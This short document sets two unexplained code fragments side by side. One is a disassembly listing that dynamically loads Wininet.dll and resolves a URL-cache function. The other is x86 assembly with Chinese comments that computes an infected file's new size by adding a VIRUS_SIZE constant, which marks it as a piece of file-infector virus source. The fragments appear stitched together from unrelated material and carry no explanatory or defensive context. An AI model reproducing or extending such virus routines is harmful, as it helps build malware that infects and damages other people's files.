10001B54 |. 6A 00 push 0 ; /Flags = 0
10001B56 |. 6A 00 push 0 ; |hFile = NULL
10001B58 |. 68 D8310010 push as.100031D8 ; |FileName = "Wininet.dll"
10001B5D |. FF15 78300010 call dword ptr ds:[<&KERNEL32.LoadLibrar>; \LoadLibraryExA
10001B63 |. 8945 F8 mov [local.2],eax
10001B66 |. 68 E4310010 push as.100031E4 ; /ProcNameOrOrdinal = "GetEntryInfoUrlCacheA"
10001B6B |. FF75 F8 push [local.2] ; |hModule = "Wininet.dll"
10001B6E |. FF15 3C300010 call dword ptr ds:[<&KERNEL32.GetProcAdd>; \GetProcAddress

push NULL
push eax
mov eax,[ebp + _a_GetFileSize]
call eax ;获得文件大小
add eax,VIRUS_SIZE
add eax,1000h
mov [ebp + __max_size],eax;最后文件的大小